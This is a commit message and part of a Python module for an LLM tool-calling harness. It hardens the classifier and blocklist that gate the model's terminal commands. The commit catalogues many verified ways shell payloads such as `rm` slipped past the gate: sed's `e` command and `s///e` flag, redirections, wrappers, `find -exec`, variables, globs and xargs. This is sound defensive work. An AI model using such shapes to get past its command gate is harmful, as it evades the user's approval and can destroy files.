6818318867* Gate the sed commands that run a shell
GNU sed executes a shell through its `e` command, both as a standalone
command (`sed -n '1e CMD' file`) and as an `s///e` flag that runs the
pattern space. It goes through popen(), so it is a literal `sh -c`, but
the terminal scan only ever saw `sed` at command position and treated the
program text as an ordinary argument.
That left `sed -n '1e rm -f victim' /etc/hosts` running with no prompt in
auto mode, and `_find_blocked_commands` returning nothing for it, so the
hard blocklist that applies in every mode missed `rm` as well.
Screens the program the same way the awk arm does. `-e` values are joined
with newlines first, since that is how sed assembles them: `sed -e '1a\'
-e 'e CMD'` appends a literal line and runs nothing, so judging the pieces
separately would prompt on a benign script. The scan then steps over every
region where `e` is data rather than a command: address and substitution
regexes, replacements, `a/i/c` text, `r`/`w` filenames, `b`/`t` labels and
comments. That keeps the common idioms silent, including `:e;N;$!be` loop
labels, `s/e/E/g`, and `s/a/b/we out.txt` where the `e` belongs to the `w`
filename and sed does not execute.
The blocklist scan recurses into a literal `e` payload the same way it
already does for `bash -c`. A bare `e` or an `s///e` can only be prompted,
since what they run is the pattern space, which is input-file text that is
not knowable statically.
Verified against real GNU sed 4.9 rather than the manual: 80 commands run
for real with a marker payload, comparing what sed actually executed
against the classifier, with no mismatches in either direction.
* Close five ways a sed program hid its shell payload
Review found five shapes the first pass missed. All five execute on GNU
sed 4.9, checked by running them rather than reading the manual.
A payload line ending in a backslash continues onto the next line, so the
scan now ends an `e` at an unescaped newline and unescapes the text the way
sed's read_text does. That is what resolves `r''m` back to `rm` for the
blocklist.
A sed comment ends at a real newline, but the terminal scan had already
replaced every newline with `;`, including newlines inside quotes, so
`# comment` swallowed the rest of the program. The sed arm now also sees a
variant where only unquoted newlines become separators, built on a
character-by-character quote scanner rather than a regex: an apostrophe in
a double-quoted word mis-pairs under a regex and inverts the state, which
opened a bypass while this was being written.
Everything attached to `-i` is a backup suffix, so reading `-ifoo` as an
attached `-f` lost the real script. Replaced the shared short-flag helper
with sed's own option grammar, which also fixes `-l 5` and
`--line-length 5` eating the script as their operand.
A sed child of `find -exec` was never recorded, so the blocklist skipped
its payload.
Substituted text splices straight into the program, and an address is as
good a place as any to open `;e CMD`, so a command substitution anywhere
in the program is treated as unresolvable. Scoped to the program: a
substitution in a file operand still runs, a `$(` or backtick inside single
quotes is literal, and parameter and arithmetic expansion are untouched.
The cost is that a substitution used to build a program now asks.
Bounding the -exec walk keeps the blocklist linear; without it a repeated
`-exec sed` line went quadratic.
Verified against real GNU sed across 103 commands run for real, no
mismatch in either direction.
* Fail closed on padded sed lines, and stop gating sed --sandbox
Four more from review, each checked by running it rather than reading the
manual.
The cap that keeps the argument walk linear was itself the bypass: padding
a line with 128 valid options pushes the script past it, and an empty
program read as proof the command only edits text. The budget is now shared
across the sed words on a line, so a lone sed reads its whole argument list
while a line packed with sed words keeps the floor that holds the walk
linear, and overflow fails closed instead of falling through.
The substitution scan counted parentheses without consulting quote state,
so a quoted paren in the substitution body left the span unterminated and
the program never matched. It now balances through the same quote scanner
used elsewhere, since a substitution body reopens quoting.
A wrapper between -exec and its child hid the child from the blocklist.
Following the wrapper also fixes the neighbouring blocked-name check, which
missed find . -exec env rm the same way. The wrapper's own name is still
screened: -exec sudo rm reports both.
sed --sandbox and --posix refuse e outright and exit 1, so gating them was
prompting for something that cannot run. They are now inert, except after
--, where the flag is an input filename and the script still executes.
env -u still hides a child from the blocklist, on this path and at top
level. That is pre-existing and left alone here.
* Resolve the sed program through find, wrappers, globs and variables
Five more from review, each run against real sed rather than read off the
manual.
find's -exec ends at + or ;, but the sed argument walk ran past it into the
next predicate, where a following -exec grep -e safe was read as sed's own
-e and discarded the real script. Stopping at the terminator also removes a
false prompt, since -exec was being parsed as -e xec and inventing a payload.
Hopping a wrapper skipped its name but not an option that takes a separate
operand, so env -u FOO sed returned FOO as the child. The table this file
already keeps for wrapper options covers it, moved up so both layers share
it. That also settles the top level: env -u PATH rm -rf x now reports rm,
as do env --unset, stdbuf -o L and xargs -I {}. Two false positives go with
it, timeout -s KILL 5 rm blaming the signal name and env -u kill blaming a
variable name, while timeout -s KILL 5 kill -9 1 still reports kill.
A program held in a variable was invisible: the assignment regex stops its
value at whitespace, so a program containing a newline never entered the
map in any pass. Resolved at the token level instead, where the value is
already whole. Both the written and the resolved program are screened,
since either can hold the e.
A command-position glob that can resolve to sed is treated as sed. The
auto gate already asks about any unresolved command glob; this is for the
blocklist, which did not know the name.
Inside double quotes a backslash makes the next character literal, so
sed "s/\$(CC)/gcc/" runs no substitution and should never have asked. The
quote scanner now reports an escaped character under its own state.
Left open: on Windows the blocklist lexer keeps quoting in its tokens, so
a multiline program held in a variable resolves there but not to a name
the blocklist reads. The prompt still fires on every platform.
* Ask when the sed program is not a literal we can read
Two from review, and the second one changes the default rather than adding
another case.
sed --sandbox and --posix were being read as disabling e for the whole
invocation. They disable exactly the scripts written after them: sed
compiles each -e as that option is parsed, and the positional script only
after the option list, so sed -e '1e CMD' input --sandbox runs the payload
with no POSIXLY_CORRECT needed. Suppression is now positional. Reading
POSIXLY_CORRECT out of the command text was considered and dropped as
unsound, since export or an outer bash -c puts it somewhere the text does
not show.
A program built by a parameter transformation was invisible: only bare
$NAME and ${NAME} were resolved, so ${p#x } passed through untouched. Rather
than add operators one at a time, a program that still holds a live
expansion after resolution is treated as unreadable and asks. Unhandled
expansion forms are now safe by default instead of silent, which also
closes ${p%Z}, array elements, printf -v, read, and p=$(...) whose binding
shlex had been truncating to a bare $.
Arithmetic is collapsed rather than exempted. It can only ever evaluate to
an integer, so it cannot spell a sed command, but leaving it as written let
"$((c+1))e CMD" read as an append-text command that swallowed the payload.
The cost is that a double-quoted program holding an unassigned variable now
asks: sed "s/$OLD/$NEW/g" f. Measured at 24 of 169 realistic invocations,
all of that one shape. Exempting it would trade enumerating expansion
operators for enumerating assignment forms, and four of the bypasses above
sit outside the assignment pattern, so the blanket rule stays.
Left open: -f prog.sed is still unscreened, since the program is in a file.
* Decide where a sed scan stops by context, not by token text
Four from review, two of them exploiting fixes from earlier rounds.
Stopping the sed walk at a + or ; token read the text after shlex had
already removed its quoting, so a quoted file operand looked exactly like
a find terminator and the scan gave up before the -e that followed. sed
still compiles that -e, because getopt permutes. Termination is now decided
by token index: a separator counts only if it was unquoted, and + or ; only
while a find or fd exec action is open, which is the only place quoting
does not matter. The same shape works with & | ( ) and }, so all of them
are covered.
The assignment map kept the first binding for a name, but the shell uses
the most recent one before the command. Bindings are now ordered and only
those preceding a given sed are folded in, with a later one replacing an
earlier. A value that is not itself literal clears the name rather than
leaving the older literal standing, which would otherwise have dressed an
unread program up as a safe one.
Exhausting the wrapper budget under find -exec returned the same answer as
finding no child at all, so a long enough chain of wrappers hid whatever
followed. It now reports overflow and blocks the chain word. This was
hiding more than sed: the same shape hid a plain rm.
fd spells its exec flags -x, -X, --exec and --exec-batch, none of which
were routed into the nested scan. They are now, but only while a find or
fd word is in scope and no action is already open, so a -x that belongs to
a child command is left alone.
Prompt rate is unchanged at 45 of 169 realistic invocations; this round
adds no new prompts.
* Drop the words the shell removes before a command runs
Two from review, both verified to run for real.
A redirection is performed by the shell and never reaches the command, but
the words stayed in the token list and the first of them was taken for
sed's positional script, so the real one behind it was never read.
`sed </dev/null '1e touch MARKER' input` creates the file, and so do the
`>`, `2>`, `2>&1`, `&>`, `>|` and here-string spellings. Redirections are
now recognised as spans and skipped: the target may be glued on, be the
next word, or sit one further along when a punctuation character splits
the operator. A skip is honoured only where sed would take the word as an
argument, so a pending -e/-f/-l value is still read.
The same words also hid a command outright. `> out.txt rm -rf victim` and
`2>&1 rm -rf victim` both really delete, because the redirection target
was read as the command word and the rm behind it landed in argument
position, where the always-on blocklist does not look.
shlex emits a RUN of punctuation characters as one token, so bash's `|&`
matched no separator and a sed scan ran on into the NEXT command, taking
its `-e safe` for the real script and dropping the payload. Any token
built only from those characters now ends an invocation, and a quoted one
is excluded the same way a quoted `';'` already was.
The third item from that review, `-l N` eating the script as its length
operand, was already closed in 9a5cfddb.
Prompt rate is unchanged at 45 of 169 realistic invocations; this round
adds no new prompts.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Read a sed program from what the shell really hands it
Five from an independent review pass, each verified by executing it.
sed joins its -e and -f sources with newlines, but a source boundary also
closes a line continuation open across it. Reading every -e as one
uninterrupted text let an unreadable -f in the middle hide the piece
behind it: `sed -e '1a\' -f /dev/null -e 'e CMD' input` runs CMD while the
same line without the -f only appends text.
A program flag ahead of the positional script makes that word an input
file. One behind it does so only while getopt permutes, and
POSIXLY_CORRECT turns permutation off from outside the command text, so
the positional is now read as a script as well. The suppression that a
flag written first performs is unchanged.
xargs builds the argv of the command behind it, appending what it reads on
stdin and substituting it into an -I placeholder, so the program need not
be in the text at all. A sed whose program is empty or is only the
placeholder is failed closed. The ordinary idioms are untouched: their
program is present and the placeholder stands where the file goes.
Only a word that really changes shell state rebinds a program held in a
variable. An assignment-shaped argument, one inside a subshell and one
used as a command's environment prefix all leave the variable alone, and
recording them replaced a payload with a value bash never assigned. A
conditional assignment after && or || may or may not run, so it clears the
name rather than being guessed at.
Exec-flag forwarding now starts only at a command word. Any token spelled
fd or find used to turn it on, so a -x or -exec in the text after one was
read as an exec flag and its neighbour hard-blocked; `echo fd -x rm` and
`grep fd -x rm file` were refused outright. A command-position glob bash
resolves to find is still recognised.
Prompt rate is unchanged at 45 of 169 realistic invocations.
* Judge a sed program against what getopt and find really do
Seven from review, each verified by executing it.
A redirection is removed wherever it stands, including where an option
value goes, so `sed -n -e >out '1e CMD' input` takes the word behind it as
the script. The skip is now honoured ahead of a pending value rather than
after it. The target of a detached redirection may itself look like an
option or a quoted operator, and the shell hands it to open() either way,
so `sed > --sandbox '1e CMD' input` and its `> ';'` twin no longer leave
that word standing as a sed flag or script. Only a bare operator is
refused, which is a malformed line.
A program flag written behind the positional script and the positional
itself are ALTERNATIVES, since permutation decides which sed compiles and
nothing in the text settles it. They were joined into one program, where an
unterminated command in the one swallowed the other: `-e safe` is an `s`
with delimiter `a` and no closing one, and it ate the payload behind it.
Each source is now scanned on its own.
find closes its batched form at `{} +` only, so a `+` anywhere else is an
ordinary argument it hands the child. Stopping at one threw away the script
behind it. The `;` spellings need no such test: a quoted `';'` and an
escaped `\;` reach find as the same word and it stops at either, which the
`;` twin of that line confirms by not executing.
An `-f` naming a stream (`-`, /dev/stdin, /dev/fd/N) takes the script off
stdin, which the same command line may well supply through a heredoc. That
is ignorance rather than safety, so the sed fails closed. A named program
file is unreadable in a different way and is unchanged.
bash expands the program word before sed is started, so in a directory
holding a suitably named file `sed *` runs whatever that file contains.
A program word carrying an unexpanded glob now fails closed. Quoted
programs expand nothing and a glob among the file operands is not the
program, so ordinary work is untouched.
Prompt rate is unchanged at 45 of 169 realistic invocations.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep command position and quoting intact through the sed scan
Six from review, two of them regressions the previous commit introduced.
Scoping exec-flag forwarding to a command word lost that position at a
shell keyword and across a wrapper's own operands, so `if true; then find
. -exec rm ...` and the `env -u FOO find ...` and `timeout 5 find ...`
shapes stopped blocking rm entirely. Keywords now keep the position and
wrapper options and their operands are stepped over, the way the command
walk already does.
Reading any operator-shaped token as a separator did the opposite: a
QUOTED one is data the command receives, so `printf '%s' '|&' rm` and
`grep '|&' rm file` were refused although they run nothing. The walk now
applies the same quoted-index exclusion the layout pass does, which also
clears the older `printf '%s' ';' rm` false positive.
ANSI-C decoding flattened the word's whitespace, and a sed program ends
its comment at exactly the newline that flattening destroyed. The decoded
text is re-quoted instead, keeping the spaces and the `#` around it, with
the newline standing as a mark so it stays data for whatever command
receives it rather than a place a new one begins.
An assignment inside a function body has not run and may never run, so it
is no longer recorded as the current value; the name is cleared instead,
which is right whether or not the function is later called.
An `-f` taking a process substitution is a generated /dev/fd/N script, and
the lexer ends the invocation at the `(` before the operand is read at
all. A still-pending program operand now fails the sed closed.
Live expansions were compared against the raw command spelling while the
sed program carried the post-lex one, so an escaped expansion read as
already resolved. Both sides are keyed without their escaping, which can
only make a spelling match and so errs closed.
Prompt rate is unchanged at 45 of 169 realistic invocations.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Read the sed program from the word the shell actually passes
Six from review, four of them bypasses and two false alarms.
find rewrites `{}` with the pathname it found before the child ever starts,
so a sed whose whole program is that placeholder was never read. Nested
under xargs it really runs whatever a suitably named file contains. A `{}`
among the file operands, which is the ordinary idiom, is not the program
and is untouched.
A quoted redirection is a word the command receives rather than something
the shell performs, and it was being removed either way, so a `-f` script
file named `>prog` disappeared and took the `-e` behind it out of view.
Quoting is now read from the operator the token opens with, which leaves
`2>'/dev/null'` a redirection with a quoted target.
An apostrophe in an ANSI-C word sent it down the flattening path, which
destroys the newline a sed comment ends at. The apostrophe is re-quoted
the way a shell does it instead.
fd takes the command attached to its short exec option, and only the exact
`-x` and `-X` spellings opened an action, so `-xrm` reached neither layer.
Conversely nothing behind a bare `--` is an option at all, and reading one
there refused `fd -- -x rm`, which merely lists a file.
The set of live expansions covers the whole command, so matching a sed
program against it by text alone attributed an expansion another command
performs to a program that only spells the same thing. Which occurrence it
was decides it now, and single quoting keeps its meaning while double
quoting does not.
Prompt rate is unchanged at 45 of 169 realistic invocations.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the comments this PR added
Every comment kept says why a rule exists and, where the reason is a
real tool behaviour, names the one command that proves it. What went is
narration of the code, the history of how each fix evolved, and the same
mechanism re-explained at each site that uses it: it is stated once at
the definition now and referred to from there.
Docstrings on the private helpers give what they return and the one fact
that is not obvious; the worked examples they carried are in the tests,
which already run them. The longest block is 8 lines, from 19.
229 lines off the diff. No code changed.
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
10145 lines
434 KiB
Python
10145 lines
434 KiB
Python
# SPDX-License-Identifier: AGPL-3.0-only
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# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
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"""Tool definitions and executors for LLM tool calling: web search
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(DuckDuckGo), Python code execution, and terminal commands."""
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import ast
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import codecs
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import fnmatch
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import http.client
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import os
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import signal
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os.environ["UNSLOTH_IS_PRESENT"] = "1"
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import asyncio
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import queue
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import random
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import re
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import shlex
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import shutil
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import ssl
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import subprocess
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import sys
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import tempfile
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import threading
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import time
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import urllib.parse
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import urllib.request
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from core.inference.mcp_client import (
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MCP_TOOL_PREFIX,
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TOOL_CACHE_INVALIDATING_FIELDS,
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cache_tools,
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call_tool_sync,
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get_cached_tools,
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in_failure_cooloff,
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is_stdio,
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list_tools_async,
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parse_server_headers,
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probe_timeout,
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record_probe_failure,
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stdio_mcp_enabled,
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)
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from storage import mcp_servers_db
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from loggers import get_logger
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logger = get_logger(__name__)
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_EXEC_TIMEOUT = 300 # 5 minutes
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_RAG_SEARCH_SLOT = threading.BoundedSemaphore(1)
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# Candidate multiplier when a website policy will filter the results after the search.
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_POLICY_OVERFETCH = 4
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_DISABLE_DNS_PINNING_ENV = "UNSLOTH_STUDIO_DISABLE_DNS_PINNING"
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# Splits the UI source-map from the result; loops strip it (like __IMAGES__).
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RAG_SOURCES_SENTINEL = "\n__RAG_SOURCES__:"
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# Import these at module level so the preexec_fn closure triggers no imports in
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# the forked child (which can deadlock multi-threaded servers).
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_libc = None
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if sys.platform == "linux":
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try:
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import ctypes
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import ctypes.util
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_libc_name = ctypes.util.find_library("c")
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if _libc_name:
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_libc = ctypes.CDLL(_libc_name, use_errno = True)
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except (OSError, AttributeError):
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pass
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_resource = None
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if sys.platform != "win32":
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try:
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import resource as _resource
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except ImportError:
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pass
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# Raster-image allowlist for sandbox file serving.
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# No .svg (XSS via embedded scripts), no .html, no .pdf.
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_IMAGE_EXTS = frozenset({".png", ".jpg", ".jpeg", ".gif", ".webp", ".bmp"})
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def _env_int(name: str, default: int) -> int:
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"""Read an int env override; fall back to ``default`` on unset/garbage."""
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try:
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value = int(os.environ.get(name, "") or default)
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except (TypeError, ValueError):
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return default
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return value if value > 0 else default
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# Model-visible cap on python/terminal tool results (protects the context
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# window). The live UI stream is capped separately and higher, so _truncate's
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# notice stays mode-neutral (see tool_stream_exec.TOOL_OUTPUT_STREAM_MAX_CHARS).
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_MAX_OUTPUT_CHARS = _env_int("UNSLOTH_TOOL_RESULT_MAX_CHARS", 16000)
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_BLOCKED_COMMANDS_COMMON = frozenset(
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{
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"rm",
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"dd",
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"chmod",
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"chown",
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"mkfs",
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"mount",
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"umount",
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"fdisk",
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"sudo",
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"su",
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"doas",
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"pkexec",
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"shutdown",
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"reboot",
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"halt",
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"poweroff",
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"kill",
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"killall",
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"pkill",
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"passwd",
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"curl",
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"wget",
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"nc",
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"ncat",
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"netcat",
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"socat",
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"ssh",
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"slogin",
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"scp",
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"sftp",
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"rsync",
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"eval",
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"source",
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# `.` is the POSIX synonym for `source`: `. ./script.sh` runs the file's
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# contents in the current shell, past a classifier that never sees them.
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# Matched at command position only, so `find . -type f` / `cd .` are fine.
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".",
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}
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)
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_BLOCKED_COMMANDS_WIN = frozenset(
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{
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"rmdir",
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"takeown",
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"icacls",
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"runas",
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"powershell",
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"pwsh",
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}
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)
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_BLOCKED_COMMANDS = (
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_BLOCKED_COMMANDS_COMMON | _BLOCKED_COMMANDS_WIN
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if sys.platform == "win32"
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else _BLOCKED_COMMANDS_COMMON
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)
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_SHELL_SEPARATORS = frozenset({";", "&&", "||", "|", "&", "\n", "(", ")", "`", "{", "}"})
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# Bash keywords starting a new command position (then $cmd, do $cmd, etc.).
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# `if`/`while`/`until` are followed by a CONDITION the shell executes, so a
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# command right after them is at command position (if rm -rf x; then :; fi).
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_SHELL_KEYWORDS_AS_SEP = frozenset({"then", "do", "else", "elif", "if", "while", "until", "!"})
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# Wrappers whose next non-flag argument is the command Bash will exec.
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_COMMAND_PREFIXES = frozenset(
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{
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"env",
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"command",
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"builtin",
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"exec",
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"time",
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"nohup",
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"nice",
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"setsid",
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"stdbuf",
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"timeout",
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"ionice",
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"chroot",
|
|
"setpriv",
|
|
"sudo",
|
|
"doas",
|
|
"su",
|
|
"xargs",
|
|
}
|
|
)
|
|
# Wrapper options whose VALUE is a separate token (env -u NAME, nice -n 5).
|
|
# Unconsumed, the value is mistaken for the wrapped command: `env -u FOO rm -rf x`
|
|
# reads as command `FOO`. Shared by the auto gate and the blocklist walk.
|
|
_WRAPPER_VALUE_FLAGS_BY_CMD = {
|
|
# env -i/--ignore-environment is VALUELESS; only -u/--unset takes a name.
|
|
"env": frozenset({"-u", "--unset"}),
|
|
"stdbuf": frozenset({"-i", "--input", "-o", "--output", "-e", "--error"}),
|
|
"timeout": frozenset({"-s", "--signal", "-k", "--kill-after"}),
|
|
"nice": frozenset({"-n", "--adjustment"}),
|
|
"ionice": frozenset({"-c", "--class", "-n", "--classdata", "-p", "--pid"}),
|
|
"xargs": frozenset(
|
|
{"-I", "-L", "-P", "-d", "--delimiter", "-a", "--arg-file", "-n", "-s", "-E"}
|
|
),
|
|
"chroot": frozenset({"--userspec", "--groups"}),
|
|
# setpriv <options> <program>: only the value-taking options consume a token.
|
|
"setpriv": frozenset(
|
|
{
|
|
"--reuid",
|
|
"--regid",
|
|
"--groups",
|
|
"--inh-caps",
|
|
"--ambient-caps",
|
|
"--bounding-set",
|
|
"--securebits",
|
|
"--pdeathsig",
|
|
"--selinux-label",
|
|
"--apparmor-profile",
|
|
"--landlock-access",
|
|
"--landlock-rule",
|
|
}
|
|
),
|
|
# exec -a NAME runs cmd under NAME, so NAME is a value, not the command.
|
|
"exec": frozenset({"-a"}),
|
|
"setsid": frozenset(),
|
|
"nohup": frozenset(),
|
|
}
|
|
_ASSIGNMENT_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=")
|
|
# Env-assignment prefixes that change command lookup or code loading, so
|
|
# `LD_PRELOAD=x ls` / `PATH=. ls` run attacker code before the read-only
|
|
# utility. LD_*/DYLD_* and any *PATH are covered by the prefix/suffix check.
|
|
_AUTO_UNSAFE_ENV_ASSIGN = frozenset(
|
|
{
|
|
"IFS",
|
|
"BASH_ENV",
|
|
"ENV",
|
|
"SHELLOPTS",
|
|
"BASHOPTS",
|
|
"GLOBIGNORE",
|
|
"PROMPT_COMMAND",
|
|
"PS4",
|
|
"PYTHONSTARTUP",
|
|
"PYTHONHOME",
|
|
"NODE_OPTIONS",
|
|
"PERL5OPT",
|
|
"PERL5LIB",
|
|
"RUBYOPT",
|
|
"RUBYLIB",
|
|
# LESSOPEN/LESSCLOSE run an input preprocessor command for less.
|
|
"LESSOPEN",
|
|
"LESSCLOSE",
|
|
}
|
|
)
|
|
|
|
|
|
# A search-path entry that can shadow a real binary or module: absolute, home or
|
|
# a parent escape. A relative entry (`PYTHONPATH=src`) points inside the session
|
|
# workdir, the agent's own directory, and is the common spelling in ordinary work.
|
|
_PATH_ENTRY_ESCAPES_RE = re.compile(r"(?:^|:)\s*(?:/|~|\$|[A-Za-z]:[\\/]|\.\.)")
|
|
|
|
|
|
def _env_assignment_is_unsafe(name: str, value: str = "") -> bool:
|
|
"""True if a NAME=value prefix affects command lookup/loading."""
|
|
if name in _AUTO_UNSAFE_ENV_ASSIGN or name.startswith(("LD_", "DYLD_")):
|
|
return True
|
|
if name == "PATH":
|
|
# Every value counts: PATH picks the BINARY, and a relative entry is the
|
|
# sharpest form of that (`PATH=. ls` runs ./ls).
|
|
return True
|
|
# The other search paths (PYTHONPATH, NODE_PATH, ...) only shadow a real
|
|
# module when the entry escapes the workdir.
|
|
return name.endswith("PATH") and bool(_PATH_ENTRY_ESCAPES_RE.search(value))
|
|
|
|
|
|
# Container CLIs start or reach into a container (docker run -v /:/host), but
|
|
# their read subcommands are ordinary inspection and must not interrupt. An
|
|
# unrecognised subcommand still asks, so the list can only be too small.
|
|
_CONTAINER_CLIS = frozenset({"docker", "podman", "nerdctl", "ctr", "crictl", "lxc", "kubectl"})
|
|
_CONTAINER_READ_SUBCOMMANDS = frozenset(
|
|
{
|
|
"ps",
|
|
"images",
|
|
"logs",
|
|
"inspect",
|
|
"version",
|
|
"info",
|
|
"stats",
|
|
"top",
|
|
"port",
|
|
"diff",
|
|
"history",
|
|
"search",
|
|
"events",
|
|
"ls",
|
|
"list",
|
|
"get",
|
|
"describe",
|
|
"df",
|
|
"help",
|
|
"explain",
|
|
"api-resources",
|
|
"api-versions",
|
|
}
|
|
)
|
|
# Windows `if exist FILE cmd` / `if defined VAR cmd` put an operand between the
|
|
# keyword and the command, so the command word is two tokens along.
|
|
# awk runs its program text, which can shell out through the system() builtin
|
|
# or by piping to a shell ("cmd" | "sh"). Screening the program keeps ordinary
|
|
# field work (awk '{print $1}') running while the escape hatches ask.
|
|
_AWK_COMMANDS = frozenset({"awk", "gawk", "mawk", "nawk", "busybox-awk"})
|
|
_AWK_SHELL_ESCAPE_RE = re.compile(
|
|
r"\bsystem\s*\(|\|\s*&?\s*[\"']\s*(?:/\S*/)?(?:sh|bash|zsh|ksh|dash|cmd)\b|"
|
|
r"\bENVIRON\s*\[|\bprintf\s*\|"
|
|
)
|
|
# sed shells out like awk: GNU's `e` runs the rest of its line through popen and
|
|
# the `s///e` flag runs the pattern space, hiding a command inside a text-editing
|
|
# argument. Screened so ordinary editing (sed 's/a/b/g') stays unprompted.
|
|
_SED_COMMANDS = frozenset({"sed", "gsed", "ssed"})
|
|
# `s///` flags that may precede `e`. `w` is absent: it takes the rest of the
|
|
# line as a filename, so the e in `s/a/b/w report.txt` is part of that name.
|
|
_SED_SUBST_FLAGS = frozenset("0123456789gpiImMe")
|
|
# sed short options that consume text, so no later letter in the cluster is a
|
|
# flag: -e/-f take a script and -l a length (attached or next token), while -i's
|
|
# backup suffix is ATTACHED ONLY (`-ifoo` otherwise reads as an attached `-f oo`).
|
|
_SED_VALUE_FLAGS = "efl"
|
|
_SED_ATTACHED_VALUE_FLAGS = "i"
|
|
# A backslash in a sed text argument escapes the next character, newline
|
|
# included, so it is stripped before the payload is read as a shell command.
|
|
_SED_TEXT_ESCAPE_RE = re.compile(r"\\([\s\S])")
|
|
# A plain parameter reference in a sed program (`sed "$p" f`). Bare `$NAME` /
|
|
# `${NAME}` only: anything with an operator is a transformation this scan does
|
|
# not model, so the program is judged UNREAD (see _sed_program_unresolved).
|
|
_PROGRAM_VAR_RE = re.compile(r"\$\{(\w+)\}|\$(\w+)")
|
|
# An unbraced expansion bash performs: a name (`$p`), a positional (`$1`) or a
|
|
# special parameter ($@ $* $# $? $- $$ $!). Any other `$` is literal (verified:
|
|
# `printf '%s' "$ d"` prints `$ d`), which keeps sed's `$` address out of scope.
|
|
_UNBRACED_PARAM_RE = re.compile(r"\$(?:[A-Za-z_]\w*|[0-9]+|[@*#?$!-])")
|
|
# Arithmetic evaluates to an INTEGER, so it spells no sed command. A digit in its
|
|
# place keeps `sed -n "1,$((n + 1))p" f` silent while still exposing the `e` in
|
|
# `sed "$((c+1))e rm -f victim"`, which runs rm.
|
|
_ARITHMETIC_VALUE = "0"
|
|
# The FLOOR every invocation gets for its argument walk, which keeps a line
|
|
# padded with `-exec sed` words linear. A flat cap is padding an attacker
|
|
# controls: `sed -n ...x128 '1e rm -f victim'` pushed the script past 128.
|
|
_MAX_SED_ARG_SCAN = 128
|
|
# Argument tokens the sed screen may walk across ONE command line, split over the
|
|
# sed words on it, so a lone sed reads its whole list and the work stays linear.
|
|
_SED_SCAN_BUDGET = 200_000
|
|
# Wrappers may sit between `find -exec` and the command it runs; bounded so a
|
|
# line padded with `-exec env -exec env ...` cannot make the scan quadratic.
|
|
_MAX_EXEC_PREFIX_SCAN = 32
|
|
# First window tried when balancing a `$(...)`, quadrupled until the span closes
|
|
# (_substitution_span), so a line of many short substitutions stays linear.
|
|
_SUBSTITUTION_SPAN_STEP = 64
|
|
# Quote state (_shell_quote_states) of a backslash and the character behind it.
|
|
# Distinct from the surrounding quoting because bash expands neither: the `$(` in
|
|
# `sed "s/\$(CC)/gcc/" Makefile` opens no command substitution.
|
|
_ESCAPED_CHAR_STATE = "\\"
|
|
_WIN_CONDITIONAL_KEYWORDS = frozenset({"exist", "defined", "errorlevel", "not"})
|
|
_FIND_EXEC_FLAGS = frozenset({"-exec", "-execdir", "-ok", "-okdir"})
|
|
# A find action is COMPLETE at its terminator: words after it are find's next
|
|
# predicate, not CMD's. Reading past it took a following `-exec grep -e safe {} +`
|
|
# for sed's script. `\;` is listed too, for the non-posix lexer.
|
|
_FIND_EXEC_TERMINATORS = frozenset({"+", ";", "\\;"})
|
|
# The `;` spellings END the action wherever they stand: a quoted `';'` and an
|
|
# escaped `\;` reach find as the same word. `+` is absent because find reads it
|
|
# as the batched terminator only directly after a `{}` (see _exec_scan_layout).
|
|
_FIND_EXEC_SEMICOLONS = frozenset({";", "\\;"})
|
|
# ...but ONLY inside such an action. shlex strips quoting, so a sed FILE operand
|
|
# spelled `';'` or `'+'` arrives as the same token as a real separator, and
|
|
# ending the scan there dropped the `-e` script behind it: verified that
|
|
# `sed -n ';' -e '1e rm -f victim' input` really runs rm. Outside an action only
|
|
# an UNQUOTED `;` ends the invocation.
|
|
|
|
# The characters a separator token can be built from, masked while the command
|
|
# is lexed a second time so a quoted one is told apart from a real one.
|
|
_SEPARATOR_CHARS = frozenset("".join(_SHELL_SEPARATORS))
|
|
# Placeholder for a quoted separator character during that second lex. Any
|
|
# non-whitespace, non-quote, non-punctuation_chars character serves, so the
|
|
# masked text splits into the same words and the token lists line up.
|
|
_QUOTED_SEPARATOR_MARK = "\x00"
|
|
# The characters bash expands a word against the filesystem for, and the
|
|
# placeholder standing in for a QUOTED one during the same second lex.
|
|
_GLOB_CHARS = frozenset("*?[")
|
|
_QUOTED_GLOB_MARK = "\x01"
|
|
# The characters a redirection is built from, and the placeholder standing in
|
|
# for a QUOTED one. A redirection is something the shell PERFORMS, so a quoted
|
|
# spelling is an ordinary word the command receives instead.
|
|
_REDIRECT_CHARS = frozenset("<>")
|
|
_QUOTED_REDIRECT_MARK = "\x02"
|
|
# The characters that open an expansion, and the placeholder for one the quoting
|
|
# made literal. Double quoting is NOT literal here (`sed "$p" f` expands), so
|
|
# only single-quoted and escaped states count (see _unquoted_expansion_indexes).
|
|
_EXPANSION_CHARS = frozenset("$`")
|
|
_QUOTED_EXPANSION_MARK = "\x04"
|
|
# The characters punctuation_chars glues into one token. A run like `|&` matches
|
|
# no _SHELL_SEPARATORS entry, so the sed screen read past the end of the command
|
|
# (`sed '1e rm -f victim' input |& grep -e safe` runs rm). `{`/`}` are absent so
|
|
# find's `{}` stays an ordinary word.
|
|
_OPERATOR_TOKEN_CHARS = frozenset(";&|()`")
|
|
# One shell redirection, as the lexer hands it over. The target may be glued on
|
|
# (`2>/dev/null`) or be the next token (`> out.txt`); `&` splits off under
|
|
# punctuation_chars, so `2>&1` arrives as three.
|
|
_REDIRECTION_RE = re.compile(r"^(?:\d+|&)?(?:<<<|<<-|<<|<>|>>|>\||<&|>&|<|>)")
|
|
|
|
|
|
def _looks_like_separator(token: str) -> bool:
|
|
"""Whether a lexed token is a shell operator rather than a word a command
|
|
receives. A known separator, or a RUN of punctuation_chars characters, which
|
|
is how bash builds `|&`, `;;` and `;&`."""
|
|
if token in _SHELL_SEPARATORS:
|
|
return True
|
|
return bool(token) and not (set(token) - _OPERATOR_TOKEN_CHARS)
|
|
|
|
|
|
def _redirection_span(
|
|
tokens: "list[str]",
|
|
index: int,
|
|
quoted: "frozenset[int]" = frozenset(),
|
|
quoted_redirects: "frozenset[int]" = frozenset(),
|
|
) -> "tuple[int, ...]":
|
|
